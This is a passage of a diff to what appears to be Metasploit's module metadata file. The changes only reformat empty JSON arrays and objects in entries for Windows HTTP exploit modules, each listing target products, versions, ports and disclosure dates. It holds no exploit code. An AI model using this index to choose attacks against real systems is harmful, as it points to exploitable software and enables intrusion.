"type": "exploit", @@ -167210,17 +148614,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/flexdotnetcms_upload_exec": { "name": "FlexDotnetCMS Arbitrary ASP File Upload", "fullname": "exploit/windows/http/flexdotnetcms_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-09-28", "type": "exploit", @@ -167278,9 +148679,7 @@ "exploit_windows/http/forticlient_ems_fctid_sqli": { "name": "FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE", "fullname": "exploit/windows/http/forticlient_ems_fctid_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-04-21", "type": "exploit", @@ -167342,9 +148741,7 @@ "exploit_windows/http/fortilogger_arbitrary_fileupload": { "name": "FortiLogger Arbitrary File Upload Exploit", "fullname": "exploit/windows/http/fortilogger_arbitrary_fileupload", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-02-26", "type": "exploit", @@ -167402,9 +148799,7 @@ "exploit_windows/http/generic_http_dll_injection": { "name": "Generic Web Application DLL Injection", "fullname": "exploit/windows/http/generic_http_dll_injection", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-03-04", "type": "exploit", @@ -167444,17 +148839,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/geutebrueck_gcore_x64_rce_bo": { "name": "Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE", "fullname": "exploit/windows/http/geutebrueck_gcore_x64_rce_bo", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-01-24", "type": "exploit", @@ -167471,12 +148863,8 @@ "platform": "Windows", "arch": "", "rport": 13003, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Targeting", "GCore 1.3.8.42, Windows x64 (Win7+)", @@ -167489,17 +148877,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/git_lfs_rce": { "name": "Git Remote Code Execution via git-lfs (CVE-2020-27955)", "fullname": "exploit/windows/http/git_lfs_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-11-04", "type": "exploit", @@ -167558,9 +148943,7 @@ "exploit_windows/http/gitstack_rce": { "name": "GitStack Unsanitized Argument RCE", "fullname": "exploit/windows/http/gitstack_rce", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2018-01-15", "type": "exploit", @@ -167603,17 +148986,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_autopass_license_traversal": { "name": "HP AutoPass License Server File Upload", "fullname": "exploit/windows/http/hp_autopass_license_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-01-10", "type": "exploit", @@ -167659,17 +149039,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/hp_imc_bims_upload": { "name": "HP Intelligent Management Center BIMS UploadServlet Directory Traversal", "fullname": "exploit/windows/http/hp_imc_bims_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-08", "type": "exploit", @@ -167713,17 +149090,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/hp_imc_java_deserialize": { "name": "HP Intelligent Management Java Deserialization RCE", "fullname": "exploit/windows/http/hp_imc_java_deserialize", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-10-03", "type": "exploit", @@ -167765,17 +149139,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_imc_mibfileupload": { "name": "HP Intelligent Management Center Arbitrary File Upload", "fullname": "exploit/windows/http/hp_imc_mibfileupload", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-03-07", "type": "exploit", @@ -167819,17 +149190,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/hp_loadrunner_copyfiletoserver": { "name": "HP LoadRunner EmulationAdmin Web Service Directory Traversal", "fullname": "exploit/windows/http/hp_loadrunner_copyfiletoserver", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-30", "type": "exploit", @@ -167873,17 +149241,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/hp_mpa_job_acct": { "name": "HP Managed Printing Administration jobAcct Remote Command Execution", "fullname": "exploit/windows/http/hp_mpa_job_acct", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-12-21", "type": "exploit", @@ -167927,17 +149292,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_getnnmdata_hostname": { "name": "HP OpenView Network Node Manager getnnmdata.exe (Hostname) CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_getnnmdata_hostname", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-05-11", "type": "exploit", @@ -167978,17 +149340,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_getnnmdata_icount": { "name": "HP OpenView Network Node Manager getnnmdata.exe (ICount) CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_getnnmdata_icount", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-05-11", "type": "exploit", @@ -168029,17 +149388,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_getnnmdata_maxage": { "name": "HP OpenView Network Node Manager getnnmdata.exe (MaxAge) CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_getnnmdata_maxage", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-05-11", "type": "exploit", @@ -168080,17 +149436,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_nnmrptconfig_nameparams": { "name": "HP OpenView NNM nnmRptConfig nameParams Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_nnmrptconfig_nameparams", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-01-10", "type": "exploit", @@ -168134,17 +149487,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_nnmrptconfig_schdparams": { "name": "HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_nnmrptconfig_schdparams", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-01-10", "type": "exploit", @@ -168185,17 +149535,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_openview5": { "name": "HP OpenView Network Node Manager OpenView5.exe CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_openview5", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-12-06", "type": "exploit", @@ -168211,12 +149558,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP OpenView Network Node Manager 7.50 / Windows 2000 All" ], @@ -168227,17 +149570,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_ovalarm_lang": { "name": "HP OpenView Network Node Manager ovalarm.exe CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_ovalarm_lang", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-09", "type": "exploit", @@ -168281,17 +149621,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_ovas": { "name": "HP OpenView NNM 7.53, 7.51 OVAS.EXE Pre-Authentication Stack Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_ovas", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-04-02", "type": "exploit", @@ -168335,17 +149672,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_ovbuildpath_textfile": { "name": "HP OpenView Network Node Manager ov.dll _OVBuildPath Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_ovbuildpath_textfile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-01", "type": "exploit", @@ -168390,17 +149724,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/hp_nnm_ovwebhelp": { "name": "HP OpenView Network Node Manager OvWebHelp.exe CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_ovwebhelp", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-09", "type": "exploit", @@ -168441,17 +149772,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_ovwebsnmpsrv_main": { "name": "HP OpenView Network Node Manager ovwebsnmpsrv.exe main Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_ovwebsnmpsrv_main", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-06-16", "type": "exploit", @@ -168495,17 +149823,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_ovwebsnmpsrv_ovutil": { "name": "HP OpenView Network Node Manager ovwebsnmpsrv.exe ovutil Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_ovwebsnmpsrv_ovutil", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-06-16", "type": "exploit", @@ -168550,17 +149875,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_ovwebsnmpsrv_uro": { "name": "HP OpenView Network Node Manager ovwebsnmpsrv.exe Unrecognized Option Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_ovwebsnmpsrv_uro", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-06-08", "type": "exploit", @@ -168603,17 +149925,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_snmp": { "name": "HP OpenView Network Node Manager Snmp.exe CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_snmp", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-09", "type": "exploit", @@ -168653,17 +149972,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_snmpviewer_actapp": { "name": "HP OpenView Network Node Manager snmpviewer.exe Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_snmpviewer_actapp", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-05-11", "type": "exploit", @@ -168708,17 +150024,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_toolbar_01": { "name": "HP OpenView Network Node Manager Toolbar.exe CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_toolbar_01", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-01-07", "type": "exploit", @@ -168759,17 +150072,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_toolbar_02": { "name": "HP OpenView Network Node Manager Toolbar.exe CGI Cookie Handling Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_toolbar_02", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-21", "type": "exploit", @@ -168815,17 +150125,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_webappmon_execvp": { "name": "HP OpenView Network Node Manager execvp_nc Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_webappmon_execvp", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-07-20", "type": "exploit", @@ -168873,17 +150180,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_nnm_webappmon_ovjavalocale": { "name": "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_webappmon_ovjavalocale", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-08-03", "type": "exploit", @@ -168931,17 +150235,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_openview_insight_backdoor": { "name": "HP OpenView Performance Insight Server Backdoor Account Code Execution", "fullname": "exploit/windows/http/hp_openview_insight_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-01-31", "type": "exploit", @@ -168981,17 +150282,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_pcm_snac_update_certificates": { "name": "HP ProCurve Manager SNAC UpdateCertificatesServlet File Upload", "fullname": "exploit/windows/http/hp_pcm_snac_update_certificates", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-09", "type": "exploit", @@ -169034,17 +150332,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_pcm_snac_update_domain": { "name": "HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload", "fullname": "exploit/windows/http/hp_pcm_snac_update_domain", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-09", "type": "exploit", @@ -169087,17 +150382,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_power_manager_filename": { "name": "HP Power Manager 'formExportDataLogs' Buffer Overflow", "fullname": "exploit/windows/http/hp_power_manager_filename", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-10-19", "type": "exploit", @@ -169140,17 +150432,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_power_manager_login": { "name": "Hewlett-Packard Power Manager Administration Buffer Overflow", "fullname": "exploit/windows/http/hp_power_manager_login", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2009-11-04", "type": "exploit", @@ -169191,17 +150480,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_sitescope_dns_tool": { "name": "HP SiteScope DNS Tool Command Injection", "fullname": "exploit/windows/http/hp_sitescope_dns_tool", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2015-10-09", "type": "exploit", @@ -169244,17 +150530,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hp_sitescope_runomagentcommand": { "name": "HP SiteScope Remote Code Execution", "fullname": "exploit/windows/http/hp_sitescope_runomagentcommand", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2013-07-29", "type": "exploit", @@ -169297,17 +150580,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/hpe_sim_76_amf_deserialization": { "name": "HPE Systems Insight Manager AMF Deserialization RCE", "fullname": "exploit/windows/http/hpe_sim_76_amf_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-12-15", "type": "exploit", @@ -169369,9 +150649,7 @@ "exploit_windows/http/httpdx_handlepeer": { "name": "HTTPDX h_handlepeer() Function Buffer Overflow", "fullname": "exploit/windows/http/httpdx_handlepeer", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-10-08", "type": "exploit", @@ -169416,17 +150694,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/httpdx_tolog_format": { "name": "HTTPDX tolog() Function Format String Vulnerability", "fullname": "exploit/windows/http/httpdx_tolog_format", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-11-17", "type": "exploit", @@ -169472,17 +150747,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ia_webmail": { "name": "IA WebMail 3.x Buffer Overflow", "fullname": "exploit/windows/http/ia_webmail", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2003-11-03", "type": "exploit", @@ -169524,17 +150796,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ibm_tivoli_endpoint_bof": { "name": "IBM Tivoli Endpoint Manager POST Query Buffer Overflow", "fullname": "exploit/windows/http/ibm_tivoli_endpoint_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-05-31", "type": "exploit", @@ -169581,17 +150850,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ibm_tpmfosd_overflow": { "name": "IBM TPM for OS Deployment 5.1.0.x rembo.exe Buffer Overflow", "fullname": "exploit/windows/http/ibm_tpmfosd_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-05-02", "type": "exploit", @@ -169634,17 +150900,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ibm_tsm_cad_header": { "name": "IBM Tivoli Storage Manager Express CAD Service Buffer Overflow", "fullname": "exploit/windows/http/ibm_tsm_cad_header", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-09-24", "type": "exploit", @@ -169660,12 +150923,8 @@ "platform": "Windows", "arch": "", "rport": 1581, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM Tivoli Storage Manager Express 5.3.3" ], @@ -169676,17 +150935,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/icecast_header": { "name": "Icecast Header Overwrite", "fullname": "exploit/windows/http/icecast_header", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-09-28", "type": "exploit", @@ -169704,12 +150960,8 @@ "platform": "Windows", "arch": "", "rport": 8000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -169720,17 +150972,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/integard_password_bof": { "name": "Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow", "fullname": "exploit/windows/http/integard_password_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-09-07", "type": "exploit", @@ -169776,17 +151025,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/intersystems_cache": { "name": "InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow", "fullname": "exploit/windows/http/intersystems_cache", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-09-29", "type": "exploit", @@ -169826,17 +151072,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/intrasrv_bof": { "name": "Intrasrv 1.0 Buffer Overflow", "fullname": "exploit/windows/http/intrasrv_bof", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2013-05-30", "type": "exploit", @@ -169853,12 +151096,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "v1.0 - XP / Win7" ], @@ -169869,17 +151108,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ipswitch_wug_maincfgret": { "name": "Ipswitch WhatsUp Gold 8.03 Buffer Overflow", "fullname": "exploit/windows/http/ipswitch_wug_maincfgret", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-08-25", "type": "exploit", @@ -169920,17 +151156,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ivanti_avalanche_filestoreconfig_upload": { "name": "Ivanti Avalanche FileStoreConfig File Upload", "fullname": "exploit/windows/http/ivanti_avalanche_filestoreconfig_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-04-24", "type": "exploit", @@ -169991,9 +151224,7 @@ "exploit_windows/http/ivanti_epm_recordgoodapp_sqli_rce": { "name": "Ivanti EPM RecordGoodApp SQLi RCE", "fullname": "exploit/windows/http/ivanti_epm_recordgoodapp_sqli_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-05-24", "type": "exploit", @@ -170055,9 +151286,7 @@ "exploit_windows/http/jira_collector_traversal": { "name": "JIRA Issues Collector Directory Traversal", "fullname": "exploit/windows/http/jira_collector_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-26", "type": "exploit", @@ -170101,17 +151330,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/kaseya_uploader": { "name": "Kaseya VSA uploader.aspx Arbitrary File Upload", "fullname": "exploit/windows/http/kaseya_uploader", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-09-23", "type": "exploit", @@ -170153,17 +151379,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/kaseya_uploadimage_file_upload": { "name": "Kaseya uploadImage Arbitrary File Upload", "fullname": "exploit/windows/http/kaseya_uploadimage_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-11-11", "type": "exploit", @@ -170205,17 +151428,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/kentico_staging_syncserver": { "name": "Kentico CMS Staging SyncServer Unserialize Remote Command Execution", "fullname": "exploit/windows/http/kentico_staging_syncserver", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-04-15", "type": "exploit", @@ -170278,9 +151498,7 @@ "exploit_windows/http/kolibri_http": { "name": "Kolibri HTTP Server HEAD Buffer Overflow", "fullname": "exploit/windows/http/kolibri_http", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-12-26", "type": "exploit", @@ -170325,17 +151543,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/landesk_thinkmanagement_upload_asp": { "name": "LANDesk Lenovo ThinkManagement Console Remote Command Execution", "fullname": "exploit/windows/http/landesk_thinkmanagement_upload_asp", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-02-15", "type": "exploit", @@ -170381,17 +151596,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/lexmark_markvision_gfd_upload": { "name": "Lexmark MarkVision Enterprise Arbitrary File Upload", "fullname": "exploit/windows/http/lexmark_markvision_gfd_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-12-09", "type": "exploit", @@ -170433,17 +151645,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/lg_simple_editor_rce": { "name": "LG Simple Editor Remote Code Execution", "fullname": "exploit/windows/http/lg_simple_editor_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-08-24", "type": "exploit", @@ -170501,9 +151710,7 @@ "exploit_windows/http/lg_simple_editor_rce_uploadvideo": { "name": "LG Simple Editor Command Injection (CVE-2023-40504)", "fullname": "exploit/windows/http/lg_simple_editor_rce_uploadvideo", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-08-04", "type": "exploit", @@ -170561,9 +151768,7 @@ "exploit_windows/http/mailenable_auth_header": { "name": "MailEnable Authorization Header Buffer Overflow", "fullname": "exploit/windows/http/mailenable_auth_header", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-04-24", "type": "exploit", @@ -170606,17 +151811,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/manage_engine_opmanager_rce": { "name": "ManageEngine OpManager Remote Code Execution", "fullname": "exploit/windows/http/manage_engine_opmanager_rce", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-09-14", "type": "exploit", @@ -170659,17 +151861,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/manageengine_adaudit_plus_authenticated_rce": { "name": "ManageEngine ADAudit Plus Authenticated File Write RCE", "fullname": "exploit/windows/http/manageengine_adaudit_plus_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-10-01", "type": "exploit", @@ -170729,9 +151928,7 @@ "exploit_windows/http/manageengine_adaudit_plus_cve_2022_28219": { "name": "ManageEngine ADAudit Plus CVE-2022-28219", "fullname": "exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-06-29", "type": "exploit", @@ -170791,9 +151988,7 @@ "exploit_windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection": { "name": "ManageEngine ADManager Plus ChangePasswordAction Authenticated Command Injection", "fullname": "exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-04-12", "type": "exploit", @@ -170856,9 +152051,7 @@ "exploit_windows/http/manageengine_adselfservice_plus_cve_2021_40539": { "name": "ManageEngine ADSelfService Plus CVE-2021-40539", "fullname": "exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-09-07", "type": "exploit", @@ -170922,9 +152115,7 @@ "exploit_windows/http/manageengine_adselfservice_plus_cve_2022_28810": { "name": "ManageEngine ADSelfService Plus Custom Script Execution", "fullname": "exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-04-09", "type": "exploit", @@ -170985,9 +152176,7 @@ "exploit_windows/http/manageengine_adshacluster_rce": { "name": "ManageEngine Exchange Reporter Plus Unauthenticated RCE", "fullname": "exploit/windows/http/manageengine_adshacluster_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-06-28", "type": "exploit", @@ -171026,17 +152215,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/manageengine_appmanager_exec": { "name": "ManageEngine Applications Manager Remote Code Execution", "fullname": "exploit/windows/http/manageengine_appmanager_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-03-07", "type": "exploit", @@ -171078,17 +152264,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + 